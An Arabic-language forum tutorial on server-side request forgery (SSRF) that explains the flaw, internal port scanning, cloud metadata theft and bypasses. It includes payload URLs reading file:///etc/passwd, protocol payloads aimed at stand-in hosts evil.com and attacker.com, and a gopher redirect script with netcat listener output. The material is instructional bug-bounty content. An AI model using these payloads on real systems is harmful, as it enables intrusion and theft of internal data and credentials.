x32x01
  • بواسطة x32x01 ||
ثغرات Server Side Request Forgery (SSRF)
تعالي نترجمها الاول ترجمه حرفيه تزوير طلب الخادم
بمعني انك تقدر تعدل في الريكوست اللي بيتبعت للسيرفر
لو هنعرف الثغره تبعا للـ owasp :
is a vulnerability that happens when an attacker is able to send requests on behalf of a server. It allows attackers to “forge” the request signatures of the vulnerable server, therefore assuming a privileged position on a network, bypassing firewall controls and gaining access to internal services​

المختصر المفيد انها ثغره بتحصل لما الاتاكر بيقدر يبعت او يزور ريكوست بدل السيرفر فبيقدر يعمل بايباس لل فيروال وبلتالي يقدر يأكسس الانترنال سيرفر
يعني انا لو عايز اوصل لسيرفر داخلي جوه شركه او موقع ما طبيعي الفيروال هيمنعني وهيبلوك الريكوست بتاعي لكن لو الريكوست جايه من نفس الشركه ساعتها ممكن تعدى

تخيل كده معايا ان موقع ما يسمي
Code:
https://example.com
فالموقع ده عنده بارميتر يسمي URL بيعرض موقع خارجي من بره زي جوجل كمثال
Code:
https://example.com/proxy?url=google.com
فطبيعي دلوقتي اللي هيظهر قدامك صفحه جوجل مش صفحه الموقع اللي انت كنت لسه فتحو
تخيل معايا بقي ان ال admin_pane انترنال جوه السيرفر وموجود عندك بارميتر ال URL حسك بدأت تفهم فانت عدلت او زيفت الريكوست وخليتو بالشكل ده :
Code:
https://example.com/proxy?url=admin_panel.example.com
تتوقع ايه اللي هيحصل ؟ والفيروال فكر ازاي دلوقتي
ايه اللي هيحصل انك دلوقتي معاك اكسس جوه السيرفر الفيروال فكر ازاي بقي ؟

تخيل معايا ان الشركه عشان تضمن ان الموظفين بس هي اللي تقدر تدخل للأدمن بانل لازم يكون من ايبي داخلي فالفيروال ماشين مش انسان هو خلاص لقي انك داخل للادمن بانل من سايت هو موجود انترنال عنده
With no SSRF protection mechanism in place, the web application would display the admin panel back to the user, because the request is coming from public.example.com, a trusted machine on the network​

مع عدم وجود حمايه من ثغرات ال SSRF السايت هيعرض صفحه الادمن ليه ؟ عشان الريكوست جي من example.com وهي ماشيت موثوقه عالشبكه

أزاى تبحث عن ثغرات SSRF
ازاي تبدأ تدور عن ثغرات ال SSRF ا ابدأ بص علي ال URL واتأكد ان الموقع بيvalidated ال inputs ولا لا غالبا السايت بيطلب حجات من بره السيرفر مثلا صوره مصغره مقطع فيديو من اليوتيوب لو الموقع مش بيعمل validated هنا اقدر اقلك ان في SSRF
بص كده
Code:
https://example.com/upload_profile_from_url.php?url=www.google.com/cute_pugs.jpeg
بصيت خلاص طب بص هنا
Code:
https://example.com/upload_profile_from_url.php?url=localhost/secret_password_file.txt
لو فهمت ايه الفرق وايه اللي حصل يبقي انت كده فهمت الثغره
في الاول الموقع اللي هو example.com بيطلب صوره من جوجل مثلا عشان تتعرض عندو وهنا مش بيعمل validated قام الاتاكر مبدل الصوره دي ب localhost وبيطلب انو يعرضلو ملف مثلا اسمو password.txt
لو الموقع هنا مش بيعمل validated فخلاص بقي بدل ما يعرض الصوره هنا هيعرض الملف اللي اسمو password_file.txt

خلاص انت عرفت ان الموقع ده في SSRF هتبدأ تاكسس بقي الانترنال سيرفر اللي هو في الغالب بيبقي كده 127.0.0.0 فانت هتزيف اريكوست تخليه كده
Code:
https://example.com/upload_profile_from_url.php?url=127.0.0.1:22
كمثال يعني
في الرابط ده موجود اغلب الايبي اللي هتجرب بيهم
Code:
https://en.wikipedia.org/wiki/Reserved_IP_addresses
دلوقتي انت لقيت SSRF تقدر تعمل بيها ايه
Network Scanning & Port Scanning
عن طريق الSSRF تقدر تعرف في عناوين IP داخليه او بورت مفتوح ايه اللي هيحددلك الكلام ده رد السيرفر فمثلا يعني :
ده ال request
Code:
https://example.com/upload_profile_from_url.php
ده ال responds
Code:
Error: cannot upload image: http-server-header: Apache/2.2.8 (Ubuntu) DAV/2
ولما تبعت request
ده هيبقي ال responds
Code:
Error: cannot upload image: Connection Failed
كده انت عرفت ان الايبي ده 123.145.16 موجود علي الشبكه بينما الايبي ده 123.145.17 مش موجود عالشبكه نفس الكلام مع فحص البورتات بس بعد الايبي بتحط البورت وتشوف رد السيرفر كده كمثال 12.34.5:80
الخلاصه هي انك من الريسبونس بتحدد سواء الايبي موجود او البورت موجود
Code:
Server Side Request Forgery to remote command execution
(SSRF to RCE )
في البدايه حابب اعرفك ايه هو ال metadata file
الشركات اللي بتقدم خدمات vps زي Google cloud او AWS بيكون عندهم ملف يسمي metadata file بيحتوي الميتا داتا علي بيانات مثلا تقدر تخلي الاتاكر يصعد ال SSRF ل RCE زي ايه مثلا
ِAPI keys
AWS S3 tokens ( لو اخدنا امازون كمثال )
passwords
identity credential
and sensitive data
بالبيانات دي انت تقدر تصعد ال SSRF ل RCE ومش معني انك لقيت SSRF انك لقيت RCE كل سناريو بيختلف بس انا بشرح بصفه عامه يعني ولما تحل لابات portswigger هتفهمني اكتر

هشرح بعض الطرق عشان ت Bypass الثغره يعني بالمنطق انت مش هتجرب طريقه واحده وبعد كده تقول خلاص كده مفيش SSRF

bypass localhost :
طبيعي اول حاجه هتجربها عشان تعمل عمليه bypass هو الايبي الداخلي اللي كلنا عارفينه اللي هو ده http://127.0.0.1:80 بس كده خلاص يعني مش هتجرب تاني طب ما انت ممكن تجرب بال Decimal او Hexadecimal ممكن تعدي خش شوف ريبورتات علي هاكر وان المهم انا جمعت كل الاحتمالات الممكنه هتلاقيهم هنا
Code:
Some technique to exploite SSRF
file:///etc/passwd
تحاول تقرأ ملف ال passwd قرأ معاك خير وبركه مقرأش متيأسش وجرب طرق تاني
ابدأ جرب بعض ال protocol احيانا بتنفع زي
dict://
Code:
DICT URL scheme is used to refer to definitions or word lists available using the DICT protocol:
For example :
Code:
http://example.com/ssrf.php?dict://evil.com:1337/
Code:
sftp://
Code:
stands for SSH File Transfer Protocol, or Secure File Transfer
Protocol
For example
Code:
http://example.com/ssrf.php?url=sftp://localhost/
ldap:// or ldaps://
stands for Lightweight Directory Access Protocol. It is an application protocol used over an IP network to manage and access the distributed directory information service

For example :
Code:
http://example.com/ssrf.php?url=ldapi:://localhost:1337/
Code:
tftp://
Protocol is a simple lockstep File Transfer Protocol which allows a client to get a file from or put a file onto a remote host
For example :
Code:
http://example.com/ssrf.php?url=tftp://evil.com:1337/TESTUDPPACKET
Code:
gopher:// -
وده الأهم والشائع
نقدر نقول هو http بروتوكول ايه المميز في جوفر وليه بقول عليه ان هو المميز عشان جوفر بيدعم السطر الجديد يعني ايه بيدعم السطر الجديد يعني تقدر تنفذ اوامر عن طريق ال php code وكده انت قدرت تاخد RCE
For example :
Code:
http://example.com/ssrf.php?url=http://attacker.com/gopher.php
Code:
gopher.php (host it on acttacker.com):-
Code:
<?php
header('Location: gopher://evil.com:1337/_Hi%0Assrf%0Atest');
?>
Code:
evil.com:# nc -lvp 1337
Listening on [0.0.0.0] (family 0, port 1337)
Connection from [192.168.0.12] port 1337 [tcp/*] accepted (family 2, sport 49398)
Code:
Hi
ssrf
test
اخدت بالك انو طبق امر وبعدين عمل سطر جديد وبعدين امر جديد وهكذا وفي الاخر اطبق الأمر علي عكس بروتوكول http اللي ميقدرش يعمل كده وهو مش هيفهم اصلا انت بتعمل ايه

SSRF to Reflected XSS
هي حاجه بسيطه مش محتاجه شرح بس قلت اقلها
لو مثلا السايت ده مصاب SSRF
Code:
https://example.com/upload_profile_from_url.php?url=https://google.com
بتفتح السايت يظهر معاك صوره جوجل فكده ال SSRF موجوده
هتشيل سايت جوجل وتحط السايت بتاعك اللي انت عملو اللي مكتوب فيه Hacked ده وتبدل جوجل بالسايت بتاعك بس كده انت حولت ال SSRF ل Reflected XSS
دي تول بتعمل معظم اللي انا شرحتو بس بتديها البارميتر المصاب وهي بتشتغل
Code:
https://github.com/swisskyrepo/SSRFmap
وشوف دي برضو
Code:
https://github.com/daeken/SSRFTest
المهم دلوقتي انت هتعمل ايه بعد كل ده الاول هتقرا شويه Reports علي Hacker one هحطلك اللينك بتاعهم بعدها هتحل لابات portswigger ويبقي كده انت تمام
https://hackerone.com/reports/517461
https://hackerone.com/reports/223203
https://hackerone.com/reports/115857
https://hackerone.com/reports/392859

ودي لابات portswigger
https://portswigger.net/web-security/ssrf/lab-basic-ssrf-against-localhost

وصديقي مؤمن شارح الثغره علي قناتو تقدر تخش تسمعو برضو
كده انا خلصت اللي يعرفوا عن الثغره لو عندك اي حاجه ياريت تضيفها فالتعليقات
 

المشاركات المتشابهة

x32x01
الردود
0
المشاهدات
79
x32x01
x32x01
x32x01
الردود
0
المشاهدات
16
x32x01
x32x01
x32x01
الردود
0
المشاهدات
31
x32x01
x32x01
x32x01
  • x32x01
الردود
0
المشاهدات
41
x32x01
x32x01
x32x01
الردود
0
المشاهدات
53
x32x01
x32x01
الوسوم : الوسوم
server side request forgery ssrf

الدخول أو التسجيل السريع

نسيت كلمة مرورك؟

آخر المشاركات

أحدث المنتجات

إحصائيات المنتدى

المواضيع
1,624
المشاركات
1,812
أعضاء أكتب كود
230
أخر عضو
Mostafa Alaa
عودة
أعلى